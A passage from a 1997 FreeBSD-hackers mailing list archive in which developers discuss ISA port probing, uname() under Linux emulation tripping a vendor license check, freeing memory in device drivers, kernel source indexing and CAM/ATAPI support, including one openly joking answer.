Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: mdean CC: freebsd-hackers@FreeBSD.ORG Subject: Re: Reliable probing techiniques for isa bus? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk mdean wrote: > > If I have an isa card which occupies 16 ports but only uses 9 of them, I've > put in some debugging code to see what can be read from the card at boot > time. The read/write ports are random depending on what the card in > connected to, the control ports are write only, and so I am only left with > the other 5 ports on the card that aren't used and the pattern they are in. > Is it expected that you will always read 0xff from an unused port, because > that is what I am getting? welcome to the pleasures of ISA there is no answer.. yes the ports will read ff they will also read ff for any other device that does not use them :) From owner-freebsd-hackers Thu Oct 9 18:02:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA12152 for hackers-outgoing; Thu, 9 Oct 1997 18:02:22 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA12142 for ; Thu, 9 Oct 1997 18:02:18 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id SAA11941; Thu, 9 Oct 1997 18:01:34 -0700 (PDT) To: Terry Lambert cc: imp@village.org (Warner Losh), hackers@FreeBSD.ORG, fullermd@futuresouth.com Subject: Re: group assignments from make world. In-reply-to: Your message of "Thu, 09 Oct 1997 19:11:28 -0000." <199710091911.MAA06915@usr08.primenet.com> Date: Thu, 09 Oct 1997 18:01:33 -0700 Message-ID: <11936.876445293@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Does this strike anyone else as a discipline issue rather than > a user read-access control issue? What's your point? You're not going to get 70+ volunteer hackers to do a synchronized swimming act no matter how much you berate them, nor will "reader locks" ever be anything but the most seriously braindead of work-stoppage proposals, so clearly this isn't something you can solve at the tech end. Yes, in an idealized world you could do all that and I'm sure that you will now cite personal experience at Novell where 10,000 developers all worked in close harmony despite not being paid a cent, purely through the administration of simple electric shocks, but I don't see any of that as particularly practical in our circumstances. Jordan From owner-freebsd-hackers Thu Oct 9 19:44:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA17111 for hackers-outgoing; Thu, 9 Oct 1997 19:44:05 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA17080 for ; Thu, 9 Oct 1997 19:44:01 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id WAA29713; Thu, 9 Oct 1997 22:43:52 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id WAA13373; Thu, 9 Oct 1997 22:59:18 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id WAA08040; Thu, 9 Oct 1997 22:49:40 -0400 (EDT) Date: Thu, 9 Oct 1997 22:49:40 -0400 (EDT) From: Thomas David Rivers Message-Id: <199710100249.WAA08040@lakes.dignus.com> To: cracauer@cons.org, rivers@dignus.com Subject: Re: LINUX emulation and uname(3). Cc: freebsd-hackers@freefall.FreeBSD.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > In <199710092227.SAA07605@lakes.dignus.com>, Thomas David Rivers wrote: > > > > I have a program, written for Linux, that uses the uname() information > > as part of its license check... > > > > Unfortunately, the check fails... the company indicates that the > > failure is due to incorrect uname() information. > > > > So - does the uname() call under Linux emulation claim to be a LINUX > > box? - or - does it claim to be a FreeBSD box... > > > > Which should it do? Seems to me, for accurate Linux emulation, it should > > claim to be Linux... > > Add a program named "uname" to /compat/linux/bin or such that puts out > hardcoded strings of your choice. > > Martin Umm... this is the uname(3) system call - not the uname command. - Dave Rivers - From owner-freebsd-hackers Thu Oct 9 19:44:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA17135 for hackers-outgoing; Thu, 9 Oct 1997 19:44:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA17126 for ; Thu, 9 Oct 1997 19:44:27 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id WAA29767; Thu, 9 Oct 1997 22:44:22 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id WAA13388; Thu, 9 Oct 1997 22:59:49 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id WAA08056; Thu, 9 Oct 1997 22:50:11 -0400 (EDT) Date: Thu, 9 Oct 1997 22:50:11 -0400 (EDT) From: Thomas David Rivers Message-Id: <199710100250.WAA08056@lakes.dignus.com> To: nordwick@scheme.xcf.berkeley.edu, rivers@dignus.com Subject: Re: LINUX emulation and uname(3). Cc: freebsd-hackers@freefall.FreeBSD.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Are you trying to get Mathematica to work ? If so, I know of > someone that was able to get Mathematica running under FreeBSD, > and I can give you his email address. > > Jay > -- > Join the FreeBSD Revolution! > mailto:nordwick@xcf.berkeley.edu > http://xcf.berkeley.edu/~nordwick > Nope - it's a different program - but thanks! - Dave Rivers - From owner-freebsd-hackers Thu Oct 9 20:02:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA17939 for hackers-outgoing; Thu, 9 Oct 1997 20:02:17 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA17934 for ; Thu, 9 Oct 1997 20:02:15 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id UAA26024 for ; Thu, 9 Oct 1997 20:01:26 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id UAA22162 for ; Thu, 9 Oct 1997 20:01:26 -0700 (PDT) Date: Thu, 9 Oct 1997 20:01:25 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org Subject: Kernel Index In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Does anyone have an index of all structs and functions they could send me? make GTAGS bombed out on stable for me. I'd really like to be able to reference the kernel source quickly. From owner-freebsd-hackers Thu Oct 9 20:05:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA18064 for hackers-outgoing; Thu, 9 Oct 1997 20:05:24 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA18059 for ; Thu, 9 Oct 1997 20:05:19 -0700 (PDT) (envelope-from dkelly@nospam.hiwaay.net) Received: from nospam.hiwaay.net (tnt1-16.HiWAAY.net [208.147.147.16]) by fly.HiWAAY.net (8.8.7/8.8.6) with ESMTP id WAA20789 for ; Thu, 9 Oct 1997 22:05:16 -0500 (CDT) Received: from nospam.hiwaay.net (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id WAA17745 for ; Thu, 9 Oct 1997 22:05:14 -0500 (CDT) Message-Id: <199710100305.WAA17745@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-hackers@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: Reliable probing techiniques for isa bus? In-reply-to: Message from Julian Elischer of "Thu, 09 Oct 1997 17:53:42 PDT." <343D7C95.52BFA1D7@whistle.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 09 Oct 1997 22:05:13 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > mdean wrote: > > > > If I have an isa card which occupies 16 ports but only uses 9 of them, I've > > put in some debugging code to see what can be read from the card at boot > > time. The read/write ports are random depending on what the card in > > connected to, the control ports are write only, and so I am only left with > > the other 5 ports on the card that aren't used and the pattern they are in. > > Is it expected that you will always read 0xff from an unused port, because > > that is what I am getting? > > welcome to the pleasures of ISA > > there is no answer.. > yes the ports will read ff > they will also read ff for any other device that does not use them :) I don't think you can count on bus float to read as 0xff. Its a tri-state bus, not an open collector bus. If nothing is driving it then anything is possible. I don't have an ISA book handy, but I have seen pullup resistors in places that suggest bus termination. But if they are terminators they are just as likely to be both pull-up and pull-down at the same time. One way to tell the difference between a Genuine Apple II and clone Franklin Ace was to read an unconnected address. An Apple II would still have the last 8-bit value shifted out the video floating in the bus capacitance. There were those who used this to sync code to video. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-hackers Thu Oct 9 20:12:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA18385 for hackers-outgoing; Thu, 9 Oct 1997 20:12:23 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA18380 for ; Thu, 9 Oct 1997 20:12:22 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with ESMTP id UAA15380 for ; Thu, 9 Oct 1997 20:11:26 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id UAA28036 for ; Thu, 9 Oct 1997 20:11:25 -0700 (PDT) Date: Thu, 9 Oct 1997 20:11:25 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org Subject: free() in device drivers Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If I do a malloc (p, M_DEVBUF, M_NOWAIT); then find a problem in my attach routine, can I do a free(p, M_DEVBUF) to recover that memory? From owner-freebsd-hackers Thu Oct 9 20:39:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA19859 for hackers-outgoing; Thu, 9 Oct 1997 20:39:45 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA19853 for ; Thu, 9 Oct 1997 20:39:41 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id MAA00508; Fri, 10 Oct 1997 12:47:00 +0930 (CST) Message-Id: <199710100317.MAA00508@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Kenneth Merry cc: tlambert@primenet.com (Terry Lambert), sos@sos.freebsd.dk, lederer@bonn-online.com, hackers@FreeBSD.ORG Subject: Re: HP 7100i In-reply-to: Your message of "Thu, 09 Oct 1997 17:03:11 CST." <199710092303.RAA16661@pluto.plutotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Oct 1997 12:47:00 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > > The CAM stuff should remove this distinction; one wonders how NetBSD > > would do with this? > > CAM will only remove that distinction if someone implements an > ATAPI/IDE transport layer for it. The CAM code currently only supports > SCSI. I was just about to mail Justin and ask if there was any documentation on writing code to layer under his new CAM stuff. I have a copy of the T13 1153Dr16 document here, and have been studying it in a little detail. So, is there? mike From owner-freebsd-hackers Thu Oct 9 20:50:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA20364 for hackers-outgoing; Thu, 9 Oct 1997 20:50:03 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA20334 for ; Thu, 9 Oct 1997 20:49:57 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id NAA00721; Fri, 10 Oct 1997 13:17:04 +0930 (CST) Message-Id: <199710100347.NAA00721@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: mdean cc: freebsd-hackers@freebsd.org Subject: Re: free() in device drivers In-reply-to: Your message of "Thu, 09 Oct 1997 20:11:25 MST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Oct 1997 13:17:04 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > If I do a malloc (p, M_DEVBUF, M_NOWAIT); > > then find a problem in my attach routine, can I do a free(p, M_DEVBUF) to > recover that memory? No. In fact, the memory will remain allocated over even cold reboots, and you will have to open the system, identify which SIMM the memory was allocated on, remove it and wrap it in aluminium foil for half an hour to discharge the DRAM capacitors and clear the allocation. mike From owner-freebsd-hackers Thu Oct 9 21:04:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA20961 for hackers-outgoing; Thu, 9 Oct 1997 21:04:52 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA20952 for ; Thu, 9 Oct 1997 21:04:46 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id NAA00796; Fri, 10 Oct 1997 13:32:01 +0930 (CST) Message-Id: <199710100402.NAA00796@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: dkelly@hiwaay.net cc: freebsd-hackers@freebsd.org Subject: Re: Reliable probing techiniques for isa bus? In-reply-to: Your message of "Thu, 09 Oct 1997 22:05:13 EST." <199710100305.WAA17745@nospam.hiwaay.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Oct 1997 13:31:59 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > there is no answer.. > > yes the ports will read ff > > they will also read ff for any other device that does not use them :) > > I don't think you can count on bus float to read as 0xff. Its a tri-state > bus, not an open collector bus. If nothing is driving it then anything > is possible. > > I don't have an ISA book handy, but I have seen pullup resistors in places > that suggest bus termination. But if they are terminators they are just > as likely to be both pull-up and pull-down at the same time. Please, not this argument again. If you are going to post on hardware topics, please check your references first. For ISA, I recommend Solari's "AT Bus Design". The short answer is that there *is* a standard for ISA bus termination, and it involves fairly small pullup resistors. Providing you're not going back-to-back with another ISA cycle that won't have read all high, you can be prattymuch assured of reading all ones. mike From owner-freebsd-hackers Thu Oct 9 21:06:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA21070 for hackers-outgoing; Thu, 9 Oct 1997 21:06:19 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sumatra.americantv.com (sumatra.americantv.com [207.170.17.37]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA21052 for ; Thu, 9 Oct 1997 21:05:54 -0700 (PDT) (envelope-from jlemon@americantv.com) Received: from right.PCS (right.PCS [148.105.10.31]) by sumatra.americantv.com (8.8.5/8.8.5) with ESMTP id XAA19054; Thu, 9 Oct 1997 23:05:04 -0500 (CDT) Received: (from jlemon@localhost) by right.PCS (8.6.13/8.6.4) id XAA17975; Thu, 9 Oct 1997 23:04:33 -0500 Message-ID: <19971009230433.37612@right.PCS> Date: Thu, 9 Oct 1997 23:04:33 -0500 From: Jonathan Lemon To: Thomas David Rivers Cc: cracauer@cons.org, freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). References: <199710100249.WAA08040@lakes.dignus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.61.1 In-Reply-To: <199710100249.WAA08040@lakes.dignus.com>; from Thomas David Rivers on Oct 10, 1997 at 10:49:40PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Oct 10, 1997 at 10:49:40PM -0400, Thomas David Rivers wrote: > I have a program, written for Linux, that uses the uname() information > as part of its license check... > > Unfortunately, the check fails... the company indicates that the > failure is due to incorrect uname() information. > > So - does the uname() call under Linux emulation claim to be a LINUX > box? - or - does it claim to be a FreeBSD box... > The Linux uname() call currently reports the FreeBSD info. I suppose that this could be made into a sysctl if it really becomes a nuisance? (see sys/i386/linux/linux_misc.c:linux_newuname for the implementation) -- Jonathan From owner-freebsd-hackers Thu Oct 9 21:11:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA21424 for hackers-outgoing; Thu, 9 Oct 1997 21:11:06 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sumatra.americantv.com (sumatra.americantv.com [207.170.17.37]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA21416 for ; Thu, 9 Oct 1997 21:11:00 -0700 (PDT) (envelope-from jlemon@americantv.com) Received: from right.PCS (right.PCS [148.105.10.31]) by sumatra.americantv.com (8.8.5/8.8.5) with ESMTP id XAA19070; Thu, 9 Oct 1997 23:10:51 -0500 (CDT) Received: (from jlemon@localhost) by right.PCS (8.6.13/8.6.4) id XAA18056; Thu, 9 Oct 1997 23:10:19 -0500 Message-ID: <19971009231019.43972@right.PCS> Date: Thu, 9 Oct 1997 23:10:19 -0500 From: Jonathan Lemon To: mdean Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Kernel Index References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.61.1 In-Reply-To: ; from mdean on Oct 10, 1997 at 08:01:25PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Oct 10, 1997 at 08:01:25PM -0700, mdean wrote: > > Does anyone have an index of all structs and functions they could send me? > make GTAGS bombed out on stable for me. > I'd really like to be able to reference the kernel source quickly. Did you run it on the entire src/ tree, or just the src/sys kernel subtree? I can generate a GTAGS file for the kernel subtree, albeit not for the entire distribution. -- Jonathan From owner-freebsd-hackers Thu Oct 9 21:18:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA21830 for hackers-outgoing; Thu, 9 Oct 1997 21:18:49 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from pluto.plutotech.com (ken@mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA21824 for ; Thu, 9 Oct 1997 21:18:46 -0700 (PDT) (envelope-from ken@plutotech.com) Received: (from ken@localhost) by pluto.plutotech.com (8.8.5/8.8.5) id WAA23725; Thu, 9 Oct 1997 22:18:15 -0600 (MDT) From: Kenneth Merry Message-Id: <199710100418.WAA23725@pluto.plutotech.com> Subject: Re: HP 7100i In-Reply-To: <199710100317.MAA00508@word.smith.net.au> from Mike Smith at "Oct 10, 97 12:47:00 pm" To: mike@smith.net.au (Mike Smith) Date: Thu, 9 Oct 1997 22:18:14 -0600 (MDT) Cc: ken@plutotech.com, tlambert@primenet.com, sos@sos.freebsd.dk, lederer@bonn-online.com, hackers@FreeBSD.ORG, gibbs@plutotech.com X-Mailer: ELM [version 2.4ME+ PL28s (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Mike Smith wrote... > > > > > > The CAM stuff should remove this distinction; one wonders how NetBSD > > > would do with this? > > > > CAM will only remove that distinction if someone implements an > > ATAPI/IDE transport layer for it. The CAM code currently only supports > > SCSI. > > I was just about to mail Justin and ask if there was any documentation > on writing code to layer under his new CAM stuff. I have a copy of the > T13 1153Dr16 document here, and have been studying it in a little > detail. > > So, is there? Well, nothing specifically about the FreeBSD implementation. But, there are the CAM and CAM-3 specs: http://www.symbios.com/x3t10/io/t10/drafts/cam/cam-r12b.pdf http://www.symbios.com/x3t10/io/t10/drafts/cam3/cam3r02.pdf I think the way to go, if you want to add IDE support to the FreeBSD CAM code, is to write another transport layer to go alongside the current transport layer. Justin can elaborate on it a little more. (I've CCed him..) Ken -- Kenneth Merry ken@plutotech.com From owner-freebsd-hackers Thu Oct 9 21:45:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA22896 for hackers-outgoing; Thu, 9 Oct 1997 21:45:04 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA22881 for ; Thu, 9 Oct 1997 21:44:51 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id XAA16818; Thu, 9 Oct 1997 23:44:08 -0500 (EST) From: "John S. Dyson" Message-Id: <199710100444.XAA16818@dyson.iquest.net> Subject: Re: free() in device drivers In-Reply-To: <199710100347.NAA00721@word.smith.net.au> from Mike Smith at "Oct 10, 97 01:17:04 pm" To: mike@smith.net.au (Mike Smith) Date: Thu, 9 Oct 1997 23:44:08 -0500 (EST) Cc: mdean@best.com, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Mike Smith said: > > > > If I do a malloc (p, M_DEVBUF, M_NOWAIT); > > > > then find a problem in my attach routine, can I do a free(p, M_DEVBUF) to > > recover that memory? > > No. In fact, the memory will remain allocated over even cold > reboots, and you will have to open the system, identify which SIMM the > memory was allocated on, remove it and wrap it in aluminium foil for > half an hour to discharge the DRAM capacitors and clear the allocation. > Ahhh... That is where one of my memory leaks is... (:-)). I suggest that a smiley have been used in the previous response :-). -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-hackers Thu Oct 9 22:02:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA23640 for hackers-outgoing; Thu, 9 Oct 1997 22:02:54 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA23617 for ; Thu, 9 Oct 1997 22:02:36 -0700 (PDT) (envelope-from Eugeny.Kuzakov@lab321.ru) Received: from lab321.ru (kev.l321.omsk.net.ru [194.226.33.68]) by lab321.ru (8.8.5-MVC-230497/8.8.5) with ESMTP id MAA25126 for ; Fri, 10 Oct 1997 12:03:40 +0600 (OSK) Message-ID: <343DB745.D6EDA92D@lab321.ru> Date: Fri, 10 Oct 1997 12:04:05 +0700 From: Eugeny Kuzakov Organization: Powered by FreeBSD. X-Mailer: Mozilla 4.03b8 [en] (X11; I; FreeBSD 3.0-970807-SNAP i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: FreeBSD for internet server. Ok. What version ? Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, All ! I have internet server with fbsd 2.1.7.1. I need to maintain innd,ftpd,httpd,smtp,samba,firewall,router (2 ethernets & leased line to isp) I plan to build new server. What version should I use for new server ? More importance requirements: - stable - maximally bugs/security aplayed patches. Thanks for advice. -- Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) http://www.lab321.ru/~kev kev@lab321.ru From owner-freebsd-hackers Thu Oct 9 22:21:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA24435 for hackers-outgoing; Thu, 9 Oct 1997 22:21:01 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA24430 for ; Thu, 9 Oct 1997 22:20:58 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id HAA09473 for freebsd-hackers@freefall.FreeBSD.org; Fri, 10 Oct 1997 07:20:52 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id HAA22545; Fri, 10 Oct 1997 07:14:42 +0200 (MET DST) Message-ID: <19971010071442.IG51247@uriah.heep.sax.de> Date: Fri, 10 Oct 1997 07:14:42 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). References: <199710092227.SAA07605@lakes.dignus.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710092227.SAA07605@lakes.dignus.com>; from Thomas David Rivers on Oct 9, 1997 18:27:47 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Thomas David Rivers wrote: > So - does the uname() call under Linux emulation claim to be a LINUX > box? - or - does it claim to be a FreeBSD box... > > Which should it do? Seems to me, for accurate Linux emulation, it should > claim to be Linux... Why? After all, it's an emulation. Blame the vendor of the program for being stupid, and then patch the uname() call in your box. This check doesn't gain that vendor *anything*. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Oct 9 22:50:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA25481 for hackers-outgoing; Thu, 9 Oct 1997 22:50:57 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA25473 for ; Thu, 9 Oct 1997 22:50:53 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id HAA09574 for freebsd-hackers@FreeBSD.ORG; Fri, 10 Oct 1997 07:50:51 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id HAA22601; Fri, 10 Oct 1997 07:22:20 +0200 (MET DST) Message-ID: <19971010072220.HE00812@uriah.heep.sax.de> Date: Fri, 10 Oct 1997 07:22:20 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Major number requested References: <19971009203311.QE10395@uriah.heep.sax.de> <343D4AD9.794BDF32@whistle.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <343D4AD9.794BDF32@whistle.com>; from Julian Elischer on Oct 9, 1997 14:21:29 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Julian Elischer wrote: > > Please adhere to style(9) if you intend to contribute it. > just run 'indent' over it as you are developing it.. ...or use Emacs with the appropriate style description. :-) Better repair indent(1) before using it. See the Unix Hater's Handbook for a description of its flaws. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Oct 9 22:50:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA25497 for hackers-outgoing; Thu, 9 Oct 1997 22:50:59 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA25480 for ; Thu, 9 Oct 1997 22:50:56 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id HAA09583; Fri, 10 Oct 1997 07:50:55 +0200 Received: (from 